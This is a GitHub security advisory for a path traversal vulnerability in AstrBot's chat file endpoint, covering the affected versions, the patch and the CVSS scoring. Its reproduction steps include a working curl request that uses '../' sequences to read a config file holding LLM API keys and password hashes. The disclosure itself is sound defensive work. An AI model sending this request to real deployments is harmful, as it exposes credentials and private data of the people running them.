Skip to content

AstrBot Has Path Traversal Vulnerability in /api/chat/get_file

High severity GitHub Reviewed Published Jun 1, 2025 in AstrBotDevs/AstrBot • Updated Jun 4, 2025

Package

pip astrbot (pip)

Affected versions

>= 3.4.4, <= 3.5.12

Patched versions

3.5.13

Description

Impact

This vulnerability may lead to:

  • Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.

Reproduce

Follow these steps to set up a test environment for reproducing the vulnerability:

  1. Install dependencies and clone the repository:

    pip install uv
    git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot
    uv run main.py
  2. Alternatively, deploy the program via pip:

    mkdir astrbot && cd astrbot
    uvx astrbot init
    uvx astrbot run
  3. In another terminal, run the following command to exploit the vulnerability:

    curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json

This request will read the cmd_config.json config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).

Patches

The vulnerability has been addressed in Pull Request #1676 and is included in versions >= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.

Workarounds

Users can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.

References

References

@Soulter Soulter published to AstrBotDevs/AstrBot Jun 1, 2025
Published by the National Vulnerability Database Jun 2, 2025
Published to the GitHub Advisory Database Jun 4, 2025
Reviewed Jun 4, 2025
Last updated Jun 4, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(21st percentile)

Weaknesses

CVE ID

CVE-2025-48957

GHSA ID

GHSA-cq37-g2qp-3c2p

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.